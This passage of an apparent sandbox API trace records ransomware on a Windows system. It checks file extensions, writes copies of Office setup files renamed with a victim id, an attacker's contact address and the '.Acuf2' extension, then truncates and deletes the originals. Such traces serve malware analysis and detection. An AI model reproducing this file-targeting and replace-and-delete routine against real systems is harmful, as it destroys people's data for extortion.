	[0045.103] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString=".docx") returned 5
	[0045.103] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.103] lstrlenW (lpString=".pdf") returned 4
	[0045.103] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString=".xls") returned 4
	[0045.103] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString=".xlsx") returned 5
	[0045.103] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.103] lstrlenW (lpString=".ppt") returned 4
	[0045.103] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString=".zip") returned 4
	[0045.103] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.103] lstrlenW (lpString=".rar") returned 4
	[0045.103] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString=".bz2") returned 4
	[0045.103] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString=".7z") returned 3
	[0045.103] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString=".dbf") returned 4
	[0045.103] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString=".1cd") returned 4
	[0045.103] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.103] lstrlenW (lpString=".jpg") returned 4
	[0045.104] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.104] lstrlenW (lpString=".doc") returned 4
	[0045.104] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString=".docx") returned 5
	[0045.104] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0045.104] lstrlenW (lpString=".pdf") returned 4
	[0045.104] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString=".xls") returned 4
	[0045.104] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString=".xlsx") returned 5
	[0045.104] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0045.104] lstrlenW (lpString=".ppt") returned 4
	[0045.104] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.104] lstrlenW (lpString=".zip") returned 4
	[0045.104] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0045.104] lstrlenW (lpString=".rar") returned 4
	[0045.104] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString=".bz2") returned 4
	[0045.104] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString=".7z") returned 3
	[0045.104] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.104] lstrlenW (lpString=".dbf") returned 4
	[0045.104] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.104] lstrlenW (lpString=".1cd") returned 4
	[0045.104] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0045.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104
	[0045.105] lstrlenW (lpString=".jpg") returned 4
	[0045.105] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0045.105] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0045.105] lstrlenW (lpString="PSS10R.CHM") returned 10
	[0045.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.137] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=27195) returned 1
	[0045.137] CloseHandle (hObject=0x1ec) returned 1
	[0045.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20
	[0045.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec
	[0045.137] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.137] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.137] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0045.138] GetLastError () returned 0x0
	[0045.138] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x6a3b, lpOverlapped=0x0) returned 1
	[0045.148] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x6a40, lpOverlapped=0x0) returned 1
	[0045.149] ReadFile (in: hFile=0x1ec, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0045.149] WriteFile (in: hFile=0x1f4, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0045.149] SetEndOfFile (hFile=0x1f4) returned 1
	[0045.150] CloseHandle (hObject=0x1f4) returned 1
	[0045.150] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0045.151] SetEndOfFile (hFile=0x1ec) returned 1
	[0045.151] CloseHandle (hObject=0x1ec) returned 1
	[0045.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0045.152] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 1
	[0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.152] lstrlenW (lpString=".doc") returned 4
	[0045.152] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.152] lstrlenW (lpString=".docx") returned 5
	[0045.152] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1
	[0045.152] lstrlenW (lpString=".pdf") returned 4
	[0045.152] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.152] lstrlenW (lpString=".xls") returned 4
	[0045.152] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.152] lstrlenW (lpString=".xlsx") returned 5
	[0045.152] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1
	[0045.152] lstrlenW (lpString=".ppt") returned 4
	[0045.152] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.152] lstrlenW (lpString=".zip") returned 4
	[0045.152] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.152] lstrlenW (lpString=".rar") returned 4
	[0045.153] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString=".bz2") returned 4
	[0045.153] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.153] lstrlenW (lpString=".7z") returned 3
	[0045.153] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString=".dbf") returned 4
	[0045.153] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString=".1cd") returned 4
	[0045.153] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString=".jpg") returned 4
	[0045.153] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString=".doc") returned 4
	[0045.153] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString=".docx") returned 5
	[0045.153] lstrcmpiW (lpString1=".docx", lpString2="R.CHM") returned -1
	[0045.153] lstrlenW (lpString=".pdf") returned 4
	[0045.153] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString=".xls") returned 4
	[0045.153] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString=".xlsx") returned 5
	[0045.153] lstrcmpiW (lpString1=".xlsx", lpString2="R.CHM") returned -1
	[0045.153] lstrlenW (lpString=".ppt") returned 4
	[0045.153] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0045.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.153] lstrlenW (lpString=".zip") returned 4
	[0045.153] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0045.154] lstrlenW (lpString=".rar") returned 4
	[0045.154] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0045.154] lstrlenW (lpString=".bz2") returned 4
	[0045.154] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0045.154] lstrlenW (lpString=".7z") returned 3
	[0045.154] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0045.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.154] lstrlenW (lpString=".dbf") returned 4
	[0045.154] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0045.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.154] lstrlenW (lpString=".1cd") returned 4
	[0045.154] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0045.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM") returned 103
	[0045.154] lstrlenW (lpString=".jpg") returned 4
	[0045.154] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0045.154] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0045.154] lstrlenW (lpString="SETUP.XML") returned 9
	[0045.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.283] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=2362) returned 1
	[0046.283] CloseHandle (hObject=0x178) returned 1
	[0046.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20
	[0046.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.283] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.283] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.284] GetLastError () returned 0x0
	[0046.284] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x93a, lpOverlapped=0x0) returned 1
	[0046.286] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0x940, lpOverlapped=0x0) returned 1
	[0046.287] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x0, lpOverlapped=0x0) returned 1
	[0046.287] WriteFile (in: hFile=0x1bc, lpBuffer=0x2ec0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x1f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesWritten=0x1f2fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0046.287] SetEndOfFile (hFile=0x1bc) returned 1
	[0046.287] CloseHandle (hObject=0x1bc) returned 1
	[0046.288] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.288] SetEndOfFile (hFile=0x178) returned 1
	[0046.288] CloseHandle (hObject=0x178) returned 1
	[0046.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0046.289] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1
	[0046.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.289] lstrlenW (lpString=".doc") returned 4
	[0046.289] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.289] lstrlenW (lpString=".docx") returned 5
	[0046.289] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.289] lstrlenW (lpString=".pdf") returned 4
	[0046.289] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.289] lstrlenW (lpString=".xls") returned 4
	[0046.289] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.289] lstrlenW (lpString=".xlsx") returned 5
	[0046.289] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.290] lstrlenW (lpString=".ppt") returned 4
	[0046.290] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString=".zip") returned 4
	[0046.290] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.290] lstrlenW (lpString=".rar") returned 4
	[0046.290] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString=".bz2") returned 4
	[0046.290] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString=".7z") returned 3
	[0046.290] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString=".dbf") returned 4
	[0046.290] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString=".1cd") returned 4
	[0046.290] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString=".jpg") returned 4
	[0046.290] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.290] lstrlenW (lpString=".doc") returned 4
	[0046.290] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString=".docx") returned 5
	[0046.290] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0046.290] lstrlenW (lpString=".pdf") returned 4
	[0046.290] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0046.290] lstrlenW (lpString=".xls") returned 4
	[0046.291] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString=".xlsx") returned 5
	[0046.291] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0046.291] lstrlenW (lpString=".ppt") returned 4
	[0046.291] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.291] lstrlenW (lpString=".zip") returned 4
	[0046.291] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0046.291] lstrlenW (lpString=".rar") returned 4
	[0046.291] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString=".bz2") returned 4
	[0046.291] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString=".7z") returned 3
	[0046.291] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0046.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.291] lstrlenW (lpString=".dbf") returned 4
	[0046.291] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.291] lstrlenW (lpString=".1cd") returned 4
	[0046.291] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0046.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0046.291] lstrlenW (lpString=".jpg") returned 4
	[0046.291] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0046.291] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0046.291] lstrlenW (lpString="Proof.XML") returned 9
	[0046.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.292] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x1f2ff1c | out: lpFileSize=0x1f2ff1c*=1457) returned 1
	[0046.292] CloseHandle (hObject=0x178) returned 1
	[0046.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20
	[0046.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0046.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178
	[0046.293] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.293] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f2fec8 | out: lpNewFilePointer=0x0) returned 1
	[0046.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc
	[0046.293] GetLastError () returned 0x0
	[0046.293] ReadFile (in: hFile=0x178, lpBuffer=0x2ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x1f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ec0020*, lpNumberOfBytesRead=0x1f2fed4*=0x5b1, lpOverlapped=0x0) returned 1
